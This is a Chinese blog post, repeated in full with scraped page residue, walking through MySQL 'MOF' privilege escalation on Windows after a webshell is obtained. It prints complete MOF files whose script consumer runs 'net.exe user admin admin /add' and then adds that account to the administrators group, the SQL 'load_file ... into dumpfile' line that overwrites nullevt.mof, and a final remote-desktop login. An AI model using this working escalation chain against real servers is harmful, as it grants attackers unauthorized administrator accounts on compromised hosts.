首页 > 其他分享 >mof提权原理及其过程——类似定时任务里有一个添加用户的命令

mof提权原理及其过程——类似定时任务里有一个添加用户的命令

时间:2023-08-04 20:31:52浏览次数:36  
标签:__ EventFilter instance admin 提权 定时 Consumer mof

关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd添加提权用户命令使其被带入执行。

 

mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

以下是mof提权的过程:

将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xishaonian.mof。也就是:D:\wamp\xishaonian.mof

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

可见其中是有一段添加用户的脚本。账号为admin 密码为admin

mof提权原理及其过程——类似定时任务里有一个添加用户的命令_安全分析

 

mysql提权之mof提权

mof提权原理及其过程——类似定时任务里有一个添加用户的命令_添加用户_02

见:https://www.jianshu.com/p/8b7e8066cd18,操作多了添加用户组的一步,有机会的话实测下。

 


  1. 拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权
  2. 首先介绍mof提权,直接案例演示
  3. 找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下


#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
  1. 其中的添加用户命令,上传前请自己更改。(不改默认就添加admin)


1.jpg

  1. 执行load_file及into dumpfile把文件导出到正确的位置


select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

 

2.jpg

  1. 执行成功,查看用户(我添加的waitalone)


net user

 

3.jpg

  1. 已经成功添加用户,但此时还是普通用户,并没有添加到管理员


4.jpg

  1. 接下来把语句改一下改成添加为管理组,重复上次的步骤


#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

 

5.jpg

  1. 此时已经是管理组了,远程桌面连接


mstsc /admin

 




mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

以下是mof提权的过程:

将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xishaonian.mof。也就是:D:\wamp\xishaonian.mof

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

可见其中是有一段添加用户的脚本。账号为admin 密码为admin

mof提权原理及其过程——类似定时任务里有一个添加用户的命令_安全分析

 

mysql提权之mof提权

mof提权原理及其过程——类似定时任务里有一个添加用户的命令_添加用户_02

见:https://www.jianshu.com/p/8b7e8066cd18,操作多了添加用户组的一步,有机会的话实测下。

 


  1. 拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权
  2. 首先介绍mof提权,直接案例演示
  3. 找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下


#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
  1. 其中的添加用户命令,上传前请自己更改。(不改默认就添加admin)


1.jpg

  1. 执行load_file及into dumpfile把文件导出到正确的位置


select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

 

2.jpg

  1. 执行成功,查看用户(我添加的waitalone)


net user

 

3.jpg

  1. 已经成功添加用户,但此时还是普通用户,并没有添加到管理员


4.jpg

  1. 接下来把语句改一下改成添加为管理组,重复上次的步骤


#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

 

5.jpg

  1. 此时已经是管理组了,远程桌面连接


mstsc /admin

 

标签:__,EventFilter,instance,admin,提权,定时,Consumer,mof
From: https://blog.51cto.com/u_11908275/6967971

相关文章

  • 微信开发之定时发送朋友圈的技术实现
    请求URL:http://域名地址/snsSend请求方式:POST请求头Headers:Content-Type:application/jsonAuthorization:login接口返回 参数:参数名必选类型说明wId是String登录实例标识content是String文本内容groupUser否String对谁可见(传微信id,多个用,分隔)blackList否String对谁不可见(传微信id,......
  • 【OpenHarmony内核编程接口】介绍定时器管理两种定时器以及案例演示
    前言本文介绍了内核编程接口之软定时器软定时器软定时器含义软件定时器(Timer),是基于系统时钟tick且由软件来模拟的定时器,当经过设定的tick计数值后会触发用户定义的回调函数ps1:定时器触发函数的执行,不是线程ps2:当定时器到期时,将执行回调函数以运行特定的代码ps3:定时精度......
  • swoole-crontab基于swoole的定时器程序,支持秒级处理
    Swoole-Crontab(基于Swoole扩展)https://github.com/osgochina/Donkey1.概述基于swoole的定时器程序,支持秒级处理.异步多进程处理。完全兼容crontab语法,且支持秒的配置,可使用数组规定好精确操作时间单中心-多客户端模式,能够横向扩展web界面管理,增删改查任务,完整的权限控制.请使......
  • redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致
    介绍:Redis是一个开源的使用ANSIC语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String),哈希(Hash),列表(list),集合(sets)和有序集合(sortedsets)等类型。提......
  • MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权
    在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权 首先 EXECsp_configure'showadvancedoptions',1;  RECONFIGUREWITHOVERRIDE;  EXECsp_configure'OleAutomationProcedures',1;  RECONFIGUREWITHOVERRIDE;  EXECsp_configure'showad......
  • MySQL提权之启动项提权——开机启动的程序,那时候启动的程序权限都是system
    关于MySQL的启动项提权,听其名知其意。就是将一段VBS脚本导入到 C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!这里有两种思路:1.如果 C:\DocumentsandSettings\AllUsers\「......
  • NodaTime生成指定时区的时间
    最近遇到需要进行时区转换和获取/生成指定时区时间的需求。但网上大部分例子都是通过UTC时间或者DateTime.NtcNow或DateTime.Now实现的。但如果和第三方对接会出现对方只提供当地非当前时间且没带时区,这时候这些例子都不太满足需求,所以研究了一下用NodaTime来解决这个问题。代码......
  • 使用cron来定时执行脚本的步骤
    创建一个脚本,比如:/opt/port_stats.sh,脚本内容:#!/bin/bash#设置要监控的端口列表ports=({80,8080,456})#执行一次循环forportin"${ports[@]}";do num=$(netstat-nat|grep":"$port|wc-l) echo"[$(date'+%Y-%m-%d%H:%M:%S')]$port$num"&......
  • 一种轻量级定时任务实现
    现在市面上有各式各样的分布式定时任务,每个都有其独特的特点,我们这边的项目因为一开始使用的是分布式开源调度框架TBSchedule,但是这个框架依赖ZK,由于ZK的不稳定性和项目老旧无人维护,导致我们的定时任务会偶发出现异常,比如:任务停止、任务项丢失、任务不执行等;每逢618大促,在单量很......
  • 一种轻量级定时任务实现 | 京东云技术团队
    现在市面上有各式各样的分布式定时任务,每个都有其独特的特点,我们这边的项目因为一开始使用的是分布式开源调度框架TBSchedule,但是这个框架依赖ZK,由于ZK的不稳定性和项目老旧无人维护,导致我们的定时任务会偶发出现异常,比如:任务停止、任务项丢失、任务不执行等;每逢618大促,在单量很大......